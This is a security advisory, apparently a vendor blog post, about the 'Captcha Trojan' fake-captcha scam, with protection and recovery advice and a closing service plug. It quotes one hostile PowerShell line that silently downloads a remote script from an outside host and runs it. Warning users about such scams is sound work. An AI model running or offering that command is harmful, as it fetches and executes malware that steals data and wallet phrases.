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Introduction

In the ever-evolving cyber threat landscape, a sophisticated new attack method has emerged: the Captcha Trojan . This malware exploits unsuspecting users by tricking them into executing malicious commands on their system. The consequences of falling for this scam can be devastating, including data theft, financial loss, and complete system control by cybercriminals.

How the Captcha Trojan Works

This attack primarily targets users by tricking them into running a command via the Windows Run dialog box ( Windows + R). Once the command is pasted ( Ctrl + V) and executed ( Enter), a PowerShell script is launched.

Example of the Malicious Command:

powershell.exe -W Hidden -command $url = 'https mega01.b-cdn.net/meg.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text

This command downloads and runs a remote script that can:

• Stealing data from your system
• Stealing cryptocurrency wallet recovery phrases (12 or 16 words)
• Access email accounts, websites, and applications
• Take full control of Windows, Android, iOS and other operating systems

Common Attack Vectors

1. Fake Captchas – Fraudulent websites trick users into believing they need to verify their identity.
2. WordPress Websites Compromised – If you own a WordPress site and see this scam appear, check your theme and plugin files.
3. Phishing Emails – Users receive emails instructing them to execute the malicious command.
4. Infected Ads – Advertisements on unsafe websites may redirect to malicious pages.

How to protect yourself

• DO NOT run unknown PowerShell commands
• Avoid clicking on suspicious links
• Use up-to-date and reliable security software
• If you have a WordPress site, check theme and plugin files for unauthorized changes
• Monitor your network activity to detect unusual outgoing connections
• Enable multi-factor authentication (MFA) on critical accounts
• Educate yourself and others about social engineering tactics

What to do if you are infected?

If you suspect you have fallen for this scam, please follow these steps immediately:

1. Disconnect from the Internet to avoid data transmission.
2. Run a full malware scan with tools like Malwarebytes or Windows Defender.
3. Change all sensitive passwords , including those for cryptocurrency wallets, emails, and banks.
4. Check installed programs and browser extensions for suspicious items.
5. Restore from a clean backup if you notice unauthorized access or data corruption.

Resources for More Information

• Internal Analysis and Mitigation Strategies: Analysis of the Captcha Trojan
• External Cybersecurity Tutorial: Tutorial on YouTube
• User Reports and Discussions:
  • Reddit discussion about Captcha Trojan
  • Report on Malwarebytes Forum
  • Official Discussion at Microsoft

Do you need professional help?

If you suspect that your WordPress website has been compromised by the Captcha Trojan , our cybersecurity experts at CODARAB DEV are ready to assist you. Visit codarab.com for professional support.

Conclusion

Cyber ​​threats like the Captcha Trojan evolve rapidly, so it’s critical to stay informed and act proactively. Always verify commands before executing them, avoid clicking on suspicious links, and make sure your security measures are up to date. By following these precautions, you can protect your personal data, financial assets, and digital identity from cybercriminals.